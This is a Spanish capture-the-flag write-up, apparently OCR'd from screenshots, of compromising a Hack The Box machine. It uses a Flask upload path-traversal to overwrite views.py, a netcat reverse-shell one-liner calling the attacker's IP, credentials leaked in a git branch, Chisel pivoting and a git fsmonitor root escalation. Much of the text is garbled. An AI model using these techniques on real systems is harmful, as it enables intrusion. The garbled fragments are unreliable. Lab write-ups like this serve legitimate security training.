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1. Enumeracion.

Realizamos un Ping contra la maquina victima y vemos que tiene un TLS de 63, por lo que
podemos entender que estamos ante una maquina linux.

protocol 2.0)

Como es una maquina Ubuntu, miramos el launchpad del SSH y vemos que su versidn es Bionic.

©Dandy_loco
https://dandyloco.github.io/



openssh 1:7.6p1-4ubuntu0.7 source package in Ubuntu
Changelog

nssh (1:7.6p1-dubuntud.?

Upload details
Uploaded by: Sponsored by:
& Athos Ribeiro on 20220402 & SergioDur

Uplosded to: original ar:
Bionic & Ubuntu Developers

Esta version de OpenSSH es vulnerable a una enumeracién de usuarios (searchexploit id 45233).
Aunque de momento nos va centrar en el aplicativo web. Analizamos con whatweb para ver las
tecnologias usadas:

/home/parrot /KT8 ) 175 4

upcloud - Upload files for Free

Realizamos el mismo proceso con Wappalyzer. Vemos que usa Flask, podria ser vulnerable a un
SSTI.

upcloud

Welcome to upcloud!

Hacemos una revision del cédigo fuente de la pagina web, pero no vemos nada interesante.
Llegamos a una parte de la web en la que podemos subir ficheros.

Drag & Drop to Upload File
OR

Uplood!

2. Analisis de vulnerabilidades

En la pagina principal, habiamos visto que podiamos descargarnos un fichero, que corresponde
al proyecto en formato git. Descomprimimos el fichero y revisamos los cambios.
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/hnmg/parrnt/Descargasf:nnftg X INT

HEAD -> public)

Revisamos otras ramas del proyecto. Nos llama la atencidn la rama “dev” y nos movemos a
ella.

/home/parrot/Descargas/config

-bra

3 (HEAD -> dewv)

Usuario: dev01

Clave: Soulless_Developer#2022

Intentamos reusar esas credenciales para conectarnos por SSH, pero no es posible. Vamos a
revisar el cddigo de la aplicacion. Primero empezamos con el fichero run.py. Vemos que nos
hace referencia a la libreria app.
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Nos metemos dentro del directorio app y revisamos el fichero view.py. Vemos que podriamos
aprovecharnos, para alojar un fichero malicioso, rompiendo el control del directorio donde se
va a alojar.

['GET', 'POST'])

), "public", "uploads", file_name)

return rend ("success.html', file_url url + "uploads/" + fil
return r pload.html* )

POC: Al meter al fichero2, la ruta completa, puedes almacenar el fichero en la ruta donde
quieras

Terminal Ayuda

3. Explotacion e intrusion
Por tanto, intentamos afiadir un cédigo malicioso al fichero views.py e intentamos subirlo.

return o \ m("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 443]>/tmp/f")

o“n

Si modificamos la peticion de la web de subidas, por ejemplo, poniendo un “.”, en el nombre
del fichero, obtenemos la ruta donde se almacenan los ficheros subidos, ayuddndonos a saber
donde tenemos que subir nuestro fichero malicioso.
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Request

Interceptamos de nuevo la peticion, y modificamos el parametro “filename”, poniendo
“/app/app/views.py” para que sobrescriba el fichero original de la aplicacion.

send_file

o® @5

Response

[10.10.11.16

Nos ponemos en escucha con nc y ejecutamos una consulta a la URL 10.10.11.164/shell.
Conseguimos acceso como root.

No obstante, si consultamos nuestra IP vemos que no corresponde con la 10.10.11.164, por lo
que se estd jugando con Docker.
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Realizamos un tratamiento de la TTY. Como estamos ante unos contenedores, suponemos que
la maquina hosts deberia tener la IP 172.17.0.1. Si realizamos una bldsqueda manual de puertos
con nc, vemos lo siguientes puertos:

el el el el |
O e e e e

Nos llama la atencion el puerto 3000. Vamos a ver que puede estar corriendo en ese puerto con
wget. Vemos que se trata de una web de Gitea.

Para trabaja mas cdmodamente, vamos a hacer un “port forwarding” con Chisel. Nos
descargamos el binario, abrimos un servidor HTTP con Python y se lo pasamos también a la
maquina victima.
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Si abrimos un navegador, consultando nuestro localhost, accedemos a la pagina web. Vemos
un panel de login. Vamos a intentar logarnos con las credenciales anteriormente obtenidas:

e Usuario: dev01
e Clave: Soulless_Developer#2022

QO DO 127.0.01

Sign in

Echamos un ojo al repositorio, y vemos un directorio .ssh que nos llama la atencion.
Efectivamente contiene una id_rsa privada que puede permitirnos ganar acceso a la maquina.

Ejecutamos el comando ssh con la clave privada obtenida y ganamos acceso a la maquina.
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~parrot/HTB/opensource X 255

~parrot/HTB/opensource
dev( V1S

devoi@opensource:~$ [

4. Escalada de privilegios.

Ejecutamos ps.py y nos llama la atencidn la terea que ejecuta el git-sync que se ejecuta como
root.

Abrimos el fichero /usr/local/bin/git-sync y vemos que se esta cogiendo los ficheros del

directorio personal de dev01.

GNU nano 2.9.3

m-%d
"Changes detected, pushing.."

Backup for ${day}"

main

”

En el fichero .git/config afiadimos la linea “fsmonitor....”.

©Dandy_loco
https://dandyloco.github.io/



.git/config

Esto mismo podriamos haberlo logrado con los hooks de git:
https://gtfobins.github.io/gtfobins/git/

Ahora esperamos a que se afiadan los permisos de SUID al binario de bash.

Terminal Ayuda
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https://gtfobins.github.io/gtfobins/git/

